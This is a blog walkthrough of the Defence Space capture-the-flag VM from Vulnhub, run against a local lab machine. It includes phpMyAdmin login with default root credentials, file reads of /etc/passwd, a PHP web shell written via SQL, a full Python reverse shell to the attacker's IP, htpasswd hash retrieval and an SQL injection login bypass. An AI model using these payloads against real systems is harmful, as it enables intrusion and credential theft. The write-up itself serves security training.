**Defence Space Solution**

Capture The Flag | Mar 14, 2017

In this post I’m going to show you how to solve the Defence Space VM provided by [SilexSecure Team](https://twitter.com/@silexsecure).

You can find the VM on [this link](https://www.vulnhub.com/entry/defence-space-ctf-2017,179/)

The description in Vulnhub is not enough, is better if you read the official website for more information about the goal and flags: http://ctf2017.silexsecure.com/flag.html The goal of the VM is to find all the 7 flags and to retrieve the audio and visual image and decipher it.

Attacker: 192.168.56.1

Victim: 192.168.56.20

Before starting, make sure that all the network interfaces are connected. Once imported the VM, tick the “Cable Connected” on both of the adapters.

I run nmap and this is what I get:

$ cat nmap\_syn\_version\_full\_192.168.56.20.nmap

Warning: 192.168.56.20 giving up on port because retransmission cap hit (2).

Increasing send delay for 192.168.56.20 from 0 to 5 due to 5667 out of 14167 dropped probes since last increase.

Nmap scan report for 192.168.56.20

Host is up (0.00025s latency).

Not shown: 65528 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp ProFTPD 1.3.5a

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))

2225/tcp open ssh OpenSSH 7.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0)

3242/tcp filtered unknown

34617/tcp filtered unknown

50603/tcp filtered unknown

MAC Address: 08:00:27:F3:5F:52 (Oracle VirtualBox virtual NIC)

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux\_kernel

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

I open the URL http://192.168.56.20 and https://192.168.56.20, they have the same page. Within the source code of the page I find the following peace of code, which will contain the first flag:

<!-- Scripts -->

<script src="assets/js/jquery.min.js"></script>

<script src="assets/js/skel.min.js"></script>

<script src="assets/js/util.js"></script>

<script src="RmxhZyAwIChuZXRkaXNjb3Zlcik="></script>

<script src="assets/lafiya.js"></script><![Make sure you stick to intel gathering agent]<!-->

Decoded in base 64 it will return Flag 0 (netdiscover).

As the page suggests, I should start some more Intelligence Gathering in order to hack the machine, so I visit the URL http://192.168.56.20/assets/lafiya.js and this is what I find:

/\* HTML5 Nsikak v2.6 Twitter: @Silexsecure Facebook: facebook.com/silexsecure \*/

/\* 46 6c 61 67 20 32 20 39 61 38 37 38 30 32 38 31 64 33 65 33 37 63 35 39 37 63 65 65 37 63 61 35 38 62 66 64 34 33 35 0a\*/

var skel=function(){"use strict";var t={breakpointIds:null,events:{},isInit:!1,obj:{attachments:{},breakpoints:{},head:null,states:{}},sd:"/",state:null,stateHandlers:{},stateId:"",vars:{},DOMReady:null,indexOf:null,isArray:null,iterate:null,matchesMedia:null,extend:function(e,n){t.iterate(n,function(i){t.isArray(n[i])?(t.isArray(e[i])||(e[i]=[]),t.extend(e[i],n[i])):"object"==typeof n[i]?("object"!=typeof e[i]&&(e[i]={}),t.extend(e[i],n[i])):e[i]=n[i]})},newStyle:function(t){var e=document.createElement("style");return e.type="text/css",e.innerHTML=t,e},\_canUse:null,canUse:function(e){t.\_canUse||(t.\_canUse=document.createElement("div"));var n=t.\_canUse.style,i=e.charAt(0).toUpperCase()+e.slice(1);return e in n||"Moz"+i in n||"Webkit"+i in n||"O"+i in n||"ms"+i in n},on:function(e,n){var i=e.split(/[\s]+/);return t.iterate(i,function(e){var a=i[e];if(t.isInit){if("init"==a)return void n();if("change"==a)n();else{var r=a.charAt(0);if("+"==r||"!"==r){var o=a.substring(1);if(o in t.obj.breakpoints)if("+"==r&&t.obj.breakpoints[o].active)n();else if("!"==r&&!t.obj.breakpoints[o].active)return void n()}}}t.events[a]||(t.events[a]=[]),t.events[a].push(n)}),t},trigger:function(e){return t.events[e]&&0!=t.events[e].length?(t.iterate(t.events[e],function(n){t.events[e][n]()}),t):void 0},breakpoint:function(e){return t.obj.breakpoints[e]},breakpoints:function(e){function n(t,e){this.name=this.id=t,this.media=e,this.active=!1,this.wasActive=!1}return n.prototype.matches=function(){return t.matchesMedia(this.media)},n.prototype.sync=function(){this.wasActive=this.active,this.active=this.matches()},t.iterate(e,function(i){t.obj.breakpoints[i]=new n(i,e[i])}),window.setTimeout(function(){t.poll()},0),t},addStateHandler:function(e,n){t.stateHandlers[e]=n},callStateHandler:function(e){var n=t.stateHandlers[e]();t.iterate(n,function(e){t.state.attachments.push(n[e])})},changeState:function(e){t.iterate(t.obj.breakpoints,function(e){t.obj.breakpoints[e].sync()}),t.vars.lastStateId=t.stateId,t.stateId=e,t.breakpointIds=t.stateId===t.sd?[]:t.stateId.substring(1).split(t.sd),t.obj.states[t.stateId]?t.state=t.obj.states[t.stateId]:(t.obj.states[t.stateId]={attachments:[]},t.state=t.obj.states[t.stateId],t.iterate(t.stateHandlers,t.callStateHandler)),t.detachAll(t.state.attachments),t.attachAll(t.state.attachments),t.vars.stateId=t.stateId,t.vars.state=t.state,t.trigger("change"),t.iterate(t.obj.breakpoints,function(e){t.obj.breakpoints[e].active?t.obj.breakpoints[e].wasActive||t.trigger("+"+e):t.obj.breakpoints[e].wasActive&&t.trigger("-"+e)})},generateStateConfig:function(e,n){var i={};return t.extend(i,e),t.iterate(t.breakpointIds,function(e){t.extend(i,n[t.breakpointIds[e]])}),i},getStateId:function(){var e="";return t.iterate(t.obj.breakpoints,function(n){var i=t.obj.breakpoints[n];i.matches()&&(e+=t.sd+i.id)}),e},poll:function(){var e="";e=t.getStateId(),""===e&&(e=t.sd),e!==t.stateId&&t.changeState(e)},\_attach:null,attach:function(e){var n=t.obj.head,i=e.element;return i.parentNode&&i.parentNode.tagName?!1:(t.\_attach||(t.\_attach=n.firstChild),n.insertBefore(i,t.\_attach.nextSibling),e.permanent&&(t.\_attach=i),!0)},attachAll:function(e){var n=[];t.iterate(e,function(t){n[e[t].priority]||(n[e[t].priority]=[]),n[e[t].priority].push(e[t])}),n.reverse(),t.iterate(n,function(e){t.iterate(n[e],function(i){t.attach(n[e][i])})})},detach:function(t){var e=t.element;return t.permanent||!e.parentNode||e.parentNode&&!e.parentNode.tagName?!1:(e.parentNode.removeChild(e),!0)},detachAll:function(e){var n={};t.iterate(e,function(t){n[e[t].id]=!0}),t.iterate(t.obj.attachments,function(e){e in n||t.detach(t.obj.attachments[e])})},attachment:function(e){return e in t.obj.attachments?t.obj.attachments[e]:null},newAttachment:function(e,n,i,a){return t.obj.attachments[e]={id:e,element:n,priority:i,permanent:a}},init:function(){t.initMethods(),t.initVars(),t.initEvents(),t.obj.head=document.getElementsByTagName("head")[0],t.isInit=!0,t.trigger("init")},initEvents:function(){t.on("resize",function(){t.poll()}),t.on("orientationChange",function(){t.poll()}),t.DOMReady(function()

/\* Beheaded Air Force \*/

/\* There is a big shoe to fill. Lord I need your feet.. 11/08/2014 c.hedima@airforce.mil.ng maps/kanuri/Borno/@11.8664433,10.9088387,7z/data=!3m1!4b1!4m5!3m4!1s0x111b0751329a9727:0xe4d749d5b2177a1d!8m2!3d11.5097479!4d12.9789121 Bama1987 \*/

{t.trigger("ready")}),window.onload&&t.on("load",window.onload),window.onload=function(){t.trigger("load")},window.onresize&&t.on("resize",window.onresize),window.onresize=function(){t.trigger("resize")},window.onorientationchange&&t.on("orientationChange",window.onorientationchange),window.onorientationchange=function(){t.trigger("orientationChange")}},initMethods:function(){document.addEventListener?!function(e,n){t.DOMReady=n()}("domready",function(){function t(t){for(r=1;t=n.shift();)t()}var e,n=[],i=document,a="DOMContentLoaded",r=/^loaded|^c/.test(i.readyState);return i.addEventListener(a,e=function(){i.removeEventListener(a,e),t()}),function(t){r?t():n.push(t)}}):!function(e,n){t.DOMReady=n()}("domready",function(t){function e(t){for(h=1;t=i.shift();)t()}var n,i=[],a=!1,r=document,o=r.documentElement,s=o.doScroll,c="DOMContentLoaded",d="addEventListener",u="onreadystatechange",l="readyState",f=s?/^loaded|^c/:/^loaded|c/,h=f.test(r[l]);return r[d]&&r[d](c,n=function(){r.removeEventListener(c,n,a),e()},a),s&&r.attachEvent(u,n=function(){/^c/.test(r[l])&&(r.detachEvent(u,n),e())}),t=s?function(e){self!=top?h?e():i.push(e):function(){try{o.doScroll("left")}catch(n){return setTimeout(function(){t(e)},50)}e()}()}:function(t){h?t():i.push(t)}}),Array.prototype.indexOf?t.indexOf=function(t,e){return t.indexOf(e)}:t.indexOf=function(t,e){if("string"==typeof t)return t.indexOf(e);var n,i,a=e?e:0;if(!this)throw new TypeError;if(i=this.length,0===i||a>=i)return-1;for(0>a&&(a=i-Math.abs(a)),n=a;i>n;n++)if(this[n]===t)return n;return-1},Array.isArray?t.isArray=function(t){return Array.isArray(t)}:t.isArray=function(t){return"[object Array]"===Object.prototype.toString.call(t)},Object.keys?t.iterate=function(t,e){if(!t)return[];var n,i=Object.keys(t);for(n=0;i[n]&&e(i[n],t[i[n]])!==!1;n++);}:t.iterate=function(t,e){if(!t)return[];var n;for(n in t)if(Object.prototype.hasOwnProperty.call(t,n)&&e(n,t[n])===!1)break},window.matchMedia?t.matchesMedia=function(t){return""==t?!0:window.matchMedia(t).matches}:window.styleMedia||window.media?t.matchesMedia=function(t){if(""==t)return!0;var e=window.styleMedia||window.media;return e.matchMedium(t||"all")}:window.getComputedStyle?t.matchesMedia=function(t){if(""==t)return!0;var e=document.createElement("style"),n=document.getElementsByTagName("script")[0],i=null;e.type="text/css",e.id="matchmediajs-test",n.parentNode.insertBefore(e,n),i="getComputedStyle"in window&&window.getComputedStyle(e,null)||e.currentStyle;var a="@media "+t+"{ #matchmediajs-test { width: 1px; } }";return e.styleSheet?e.styleSheet.cssText=a:e.textContent=a,"1px"===i.width}:t.matchesMedia=function(t){if(""==t)return!0;var e,n,i,a,r={"min-width":null,"max-width":null},o=!1;for(i=t.split(/\s+and\s+/),e=0;e<i.length;e++)n=i[e],"("==n.charAt(0)&&(n=n.substring(1,n.length-1),a=n.split(/:\s+/),2==a.length&&(r[a[0].replace(/^\s+|\s+$/g,"")]=parseInt(a[1]),o=!0));if(!o)return!1;var s=document.documentElement.clientWidth,c=document.documentElement.clientHeight;return null!==r["min-width"]&&s<r["min-width"]||null!==r["max-width"]&&s>r["max-width"]||null!==r["min-height"]&&c<r["min-height"]||null!==r["max-height"]&&c>r["max-height"]?!1:!0},navigator.userAgent.match(/MSIE ([0-9]+)/)&&RegExp.$1<9&&(t.newStyle=function(t){var e=document.createElement("span");return e.innerHTML=' <style type="text/css">'+t+"</style>",e})},initVars:function(){var e,n,i,a=navigator.userAgent;e="other",n=0,i=[["firefox",/Firefox\/([0-9\.]+)/],["bb",/BlackBerry.+Version\/([0-9\.]+)/],["bb",/BB[0-9]+.+Version\/([0-9\.]+)/],["opera",/OPR\/([0-9\.]+)/],["opera",/Opera\/([0-9\.]+)/],["edge",/Edge\/([0-9\.]+)/],["safari",/Version\/([0-9\.]+).+Safari/],["chrome",/Chrome\/([0-9\.]+)/],["ie",/MSIE ([0-9]+)/],["ie",/Trident\/.+rv:([0-9]+)/]],t.iterate(i,function(t,i){return a.match(i[1])?(e=i[0],n=parseFloat(RegExp.$1),!1):void 0}),t.vars.browser=e,t.vars.browserVersion=n,e="other",n=0,i=[["ios",/([0-9\_]+) like Mac OS X/,function(t){return t.replace("\_",".").replace("\_","")}],["ios",/CPU like Mac OS X/,function(t){return 0}],["wp",/Windows Phone ([0-9\.]+)/,null],["android",/Android ([0-9\.]+)/,null],["mac",/Macintosh.+Mac OS X ([0-9\_]+)/,function(t){return t.replace("\_",".").replace("\_","")}],["windows",/Windows NT ([0-9\.]+)/,null],["bb",/BlackBerry.+Version\/([0-9\.]+)/,null],["bb",/BB[0-9]+.+Version\/([0-9\.]+)/,null]],t.iterate(i,function(t,i){return a.match(i[1])?(e=i[0],n=parseFloat(i[2]?i[2](RegExp.$1):RegExp.$1),!1):void 0}),t.vars.os=e,t.vars.osVersion=n,t.vars.IEVersion="ie"==t.vars.browser?t.vars.browserVersion:99,t.vars.touch="wp"==t.vars.os?navigator.msMaxTouchPoints>0:!!("ontouchstart"in window),t.vars.mobile="wp"==t.vars.os||"android"==t.vars.os||"ios"==t.vars.os||"bb"==t.vars.os}};return t.init(),t}();!function(t,e){"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?module.exports=e():t.skel=e()}(this,function(){return skel});

Do you see that comment with alphanumeric strings? It’s hexadecimal, which converted will result in the second flag Flag2 9a8780281d3e37c597cee7ca58bfd435 (Nmap)

Also, on the same URL I can see that we have some hints of naming convention for users on the system or of a service running:

- c.hedima

Time to fire dirbuster to see if we can find something else:

# dirb http://192.168.56.20 wordlists/big.txt | tee dirb\_192.168.56.20\_big.txt

[...]

==> DIRECTORY: http://192.168.56.20/phpmyadmin/

# $ dirb http://192.168.56.20 wordlists/big.txt -X .php | tee dirb\_192.168.56.20\_big\_php.txt

[...]

+ http://192.168.56.20/info.php (CODE:200|SIZE:90883)

Looks like we have a system that is running PHP and the URL http://192.168.56.20/info.php, also a PHPMyAdmin system is running on the server and is reachable from the URL http://192.168.56.20/phpmyadmin/

I try to login in ssh to the port 2225, and this is what I get:

$ ssh c.hedima@192.168.56.20 -p 2225

###############################################################################################

WARNING

DHQ:NIG DSS-NIG DIA-NIG - Authorized Access Only!

Disconnect IMMEDIATELY if you are not an authorized User in Operation Lafia Dole

All actions Will be Closely Monitored and Recorded by Cam7

Flag2B[53c82eba31f6d416f331de9162ebe997]

################################################################################################

In here there’s another flag: Flag2B[53c82eba31f6d416f331de9162ebe997] (encrypt)

I run sslscan to see if there’s any issue with the SSL, and this is what I find:

$ sslscan 192.168.56.20:443 | tee sslscan\_192.168.56.20.txt

Version: 1.11.6-rbsec-5-g6891c0d-static

OpenSSL 1.0.2h-dev xx XXX xxxx

Testing SSL server 192.168.56.20 on port 443

TLS renegotiation:

Secure session renegotiation supported

TLS Compression:

Compression disabled

Heartbleed:

TLS 1.2 not vulnerable to heartbleed

TLS 1.1 not vulnerable to heartbleed

TLS 1.0 not vulnerable to heartbleed

Supported Server Cipher(s):

Preferred TLSv1.2 256 bits ECDHE-RSA-AES256-GCM-SHA384 Curve P-256 DHE 256

Accepted TLSv1.2 128 bits ECDHE-RSA-AES128-GCM-SHA256 Curve P-256 DHE 256

Accepted TLSv1.2 256 bits DHE-RSA-AES256-GCM-SHA384 DHE 2048 bits

Accepted TLSv1.2 128 bits DHE-RSA-AES128-GCM-SHA256 DHE 2048 bits

Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-SHA384 Curve P-256 DHE 256

Accepted TLSv1.2 256 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256

Accepted TLSv1.2 256 bits DHE-RSA-AES256-SHA256 DHE 2048 bits

Accepted TLSv1.2 256 bits DHE-RSA-AES256-SHA DHE 2048 bits

Preferred TLSv1.1 256 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256

Accepted TLSv1.1 256 bits DHE-RSA-AES256-SHA DHE 2048 bits

Preferred TLSv1.0 256 bits ECDHE-RSA-AES256-SHA Curve P-256 DHE 256

Accepted TLSv1.0 256 bits DHE-RSA-AES256-SHA DHE 2048 bits

SSL Certificate:

Signature Algorithm: sha256WithRSAEncryption

RSA Key Strength: 2048

Subject: Flag3[19c562a36aeb455d093b4f5236f]+[39 39 30]

Issuer: Flag3[19c562a36aeb455d093b4f5236f]+[39 39 30]

Not valid before: Jan 24 12:54:41 2017 GMT

Not valid after: Jan 24 12:54:41 2018 GMT

So, I got another flag: Flag3[19c562a36aeb455d093b4f5236f]+[39 39 30].

Nothing more interesting for now on this path, so I come back to the javascript page on the URL http://192.168.56.20/assets/lafiya.js and I start investigating on this line:

/\* There is a big shoe to fill. Lord I need your feet.. 11/08/2014 c.hedima@airforce.mil.ng maps/kanuri/Borno/@11.8664433,10.9088387,7z/data=!3m1!4b1!4m5!3m4!1s0x111b0751329a9727:0xe4d749d5b2177a1d!8m2!3d11.5097479!4d12.9789121 Bama1987 \*/

On the August 2014 there was the terroristic attack by the Boko Haram Terrorists, as explained in the main page of the website. The c.hedima@airforce.mil.ng must be the username that the user uses to get into the system, either ssh. or ftp or PHPMyAdmin (don’t know yet), and the line maps/kanuri/Borno/@11.8664433,10.9088387,7z/data=!3m1!4b1!4m5!3m4!1s0x111b0751329a9727:0xe4d749d5b2177a1d!8m2!3d11.5097479!4d12.9789121 points to Borno, in Nigeria, on Google Maps. It might be a possible password, I keep it in my notes

I wander around and I find another flag through the URL http://192.168.56.20/assets/, flage 7: 3aa652f41d8b4a23e17937149c784868 (widgets)

I get into PHPMyAdmin and I find out that the credentials are root:root. I get into the “admin” table of the “silex” database and I find another flag encoded in base64: flag 6 {Nigairforcecloud}

Since I’m in the database and the user has full privileges, I get into a SQL shell and got all the users with the following query:

Select load\_file('/etc/passwd')

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false

systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false

systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false

systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false

syslog:x:104:108::/home/syslog:/bin/false

\_apt:x:105:65534::/nonexistent:/bin/false

messagebus:x:106:109::/var/run/dbus:/bin/false

silex:x:1000:1000:silex,,,:/home/silex:/bin/bash

mysql:x:107:114:MySQL Server,,,:/nonexistent:/bin/false

proftpd:x:108:65534::/run/proftpd:/bin/false

ftp:x:109:65534::/srv/ftp:/bin/false

sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin

colabu:x:1001:1001:Col Abu Ali,Room 8 Mambila Barrack,+23470896767,:/home/colabu:/bin/bash

landscape:x:111:117::/var/lib/landscape:/bin/false

abuali:x:1002:1002:col abu ali,89,+234809978776,:/home/abuali:/bin/bash

Since this works, I try the trick of adding a backdoor shell in PHP on the server with the following query:

SELECT "<?php passthru($\_GET['cmd']); ?>" into dumpfile '/var/www/html/shell.php';

Then I visit the URL http://192.168.56.20/shell.php?cmd=id and I get a response from the server:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

At this point I get a reverse shell on port 4444 on my local machine using python on the victim machine through the URL http://192.168.56.20/shell.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF\_INET,socket.SOCK\_STREAM);s.connect((%22192.168.56.1%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

# nc -lnvp 4444

Listening on [0.0.0.0] (family 0, port 4444)

Connection from [192.168.56.20] port 4444 [tcp/\*] accepted (family 2, sport 36114)

/bin/sh: 0: can't access tty; job control turned off

$ id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

$ hostname

server1

$ /sbin/ifconfig

enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 192.168.56.20 netmask 255.255.255.0 broadcast 192.168.56.255

inet6 fe80::a00:27ff:fef3:5f52 prefixlen 64 scopeid 0x20<link>

ether 08:00:27:f3:5f:52 txqueuelen 1000 (Ethernet)

RX packets 2459498 bytes 453000467 (453.0 MB)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 2537289 bytes 1689425471 (1.6 GB)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

enp0s8: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 10.0.3.15 netmask 255.255.255.0 broadcast 10.0.3.255

inet6 fe80::a00:27ff:fe79:28d0 prefixlen 64 scopeid 0x20<link>

ether 08:00:27:79:28:d0 txqueuelen 1000 (Ethernet)

RX packets 24 bytes 2931 (2.9 KB)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 32 bytes 2976 (2.9 KB)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536

inet 127.0.0.1 netmask 255.0.0.0

inet6 ::1 prefixlen 128 scopeid 0x10<host>

loop txqueuelen 1 (Local Loopback)

RX packets 243 bytes 24462 (24.4 KB)

RX errors 0 dropped 0 overruns 0 frame 0

TX packets 243 bytes 24462 (24.4 KB)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

I see that in the /var/www/html/ there’s a folder called Nigairforcecloud. I try to access through the browser, but it asks for a username and password in Basic HTTP authentication. So within the system I get the hashes of the passwords in the path /etc/apache2/.htpasswd:

nigairforce:$apr1$FRScwO7X$HglBpC2aGbzEMSXFuut6M/

chedima@airforce.mil.ng:$apr1$CeDJSBoi$yD2xZPWHxJJGcGQP4kaY.1

c.hedima@airforce.mil.ng:$apr1$oHfZFD/s$hy/7q9.874UaUZeQbwoZH0

Guess what? The password for chedima@airforce.mil.ng and c.edima@airforce.mil.ng is Borno, as discovered previously.

In here I get another flag: FLAGE 7: 3AA652F41D8B4A23E17937149C784868.

Based on what I see on the server from the reverse shell, I visit the URL http://192.168.56.20/Unit990/ and I check the source code, and I find the following comment:

<!-- "Every intelligence Analysis system must be rooted in a strong understanding of agent's access written for." -

ZmxhZyA0IHthZG1pbi5waHB9 -->

I decode in base 64 and I get flag 4 {admin.php}

I check the URL http://192.168.56.20/Unit990/admin.php and I find out that is vulnerable to SQL Injection. The SQLi user is ' or 1=1#. Once I’m in, in the source code I find the flag Flag 5 {SQL injection}, which decoded in base64 is Flag 5 {SQL injection}

I check also the file client.php, which has the following source code:

<div class="box-row box-new-member">

<span>Code: ssh abuali@192.168.56.20</span></div>

<div class="box-row box-new-member">

<span>Mission Instruction :</span> Critical</div>

<div class="box-row box-new-member">

<p><span>Access Code :</span> \_\_\_<br />

\_\_H\_\_<br />

\_\_\_ \_\_\_[(]\_\_\_\_\_ \_\_\_ \_\_\_ {1.0.12#stable}<br />

|\_ -| . [(] | .'| . |<br />

|\_\_\_|\_ [']\_|\_|\_|\_\_,| \_|<br />

|\_|V |\_| <span> </span></p>

<p><span>RGVmYXVsdEAxMg==</span></p>

</div>

I decode the base64 string RGVmYXVsdEAxMg== and I get Default@12, which is the ssh password for the user abuali

$ ssh -p 2225 abuali@192.168.56.20

###############################################################################################

WARNING

DHQ:NIG DSS-NIG DIA-NIG - Authorized Access Only!

Disconnect IMMEDIATELY if you are not an authorized User in Operation Lafia Dole

All actions Will be Closely Monitored and Recorded by Cam7

Flag2B[53c82eba31f6d416f331de9162ebe997]

################################################################################################

abuali@192.168.56.20's password:

Welcome to Ubuntu 16.10 (GNU/Linux 4.8.0-39-generic i686)

Last login: Sat Feb 25 21:56:08 2017 from 192.168.56.20

abuali@server1:~$

Unfortunately the user is not a sudoer.

I wander around and I find that the web application of the URL http://192.168.56.20/Unit990/ I can download two files:

- Alfajet106.wav

- Sat2.jpg

The file Alfajet106.wav is hiding a file inside, which I retrieve using steghide. The passphrase is Bama1987.

# steghide info Alfajet106.wav

"Alfajet106.wav":

format: wave audio, PCM encoding

capacity: 39.6 KB

Try to get information about embedded data ? (y/n) y

Enter passphrase: Bama1987

embedded file "Topsecret.txt":

size: 915.0 Byte

encrypted: rijndael-128, cbc

compressed: yes

# steghide extract -sf Alfajet106.wav -p Bama1987

wrote extracted data to "Topsecret.txt".

# cat Topsecret.txt

Imam Abubakar Shekau

Mobile Number : 091778383990

Email:abubakar.shekau@arimblog

Location : Alfata street, Behind A.g Station Borno state

Height : 7.0

Age : 40

Language : English , Kanuri, Hausa.

Religion :

Bank Account : 08878711776

Habibu Yusuf (a.k.a Asalafi)

Mobile Number : 091778383910

Email:abubakar.HabibuYusuf1@arimblog.com

Location : Sambisa forest

Borno state

Height : 4.0

Age : 25

Language : English , Kanuri, Hausa.

Religion :

Bank Account : 08878711777

Khalid Albarnawai

Mobile Number : 091778383992

Email:abubakar.khalidbaba@arimblog

Location : Maiduguri, Borno State, Nigeria

Height : 7.0

DOB : 1976

Language : English , Kanuri, Hausa.

Religion :

Bank Account : 08878711778

Momodu Bama

Mobile Number : 091778383993

Email:bamamomodu@arimblog

Location : Alfata street, Behind A.g Station Borno state

Height : 7.0

Language : English , Kanuri, Hausa.

Religion :

Bank Account : 08878711779

With this, the challenge has been completed.

This is the list of Flags

- RmxhZyAwIChuZXRkaXNjb3Zlcik= - Flag 0 (netdiscover)

- Flag2 9a8780281d3e37c597cee7ca58bfd435 (Nmap)

- Flag3[19c562a36aeb455d093b4f5236f]+[39 39 30]

- flag 4 {admin.php}

- Flag 5 {SQL injection}

- flag 6 {Nigairforcecloud}

- flage 7: 3aa652f41d8b4a23e17937149c784868 (widgets)

This challenge was quite interesting, and it was also interesting to know more about the story behind this VM.

Thank you to [SilexSecure Team](https://twitter.com/@silexsecure) for the VM and [Vulnhub](https://www.vulnhub.com) for hosting it. For any information or comment, please do not hesitate to leave a comment.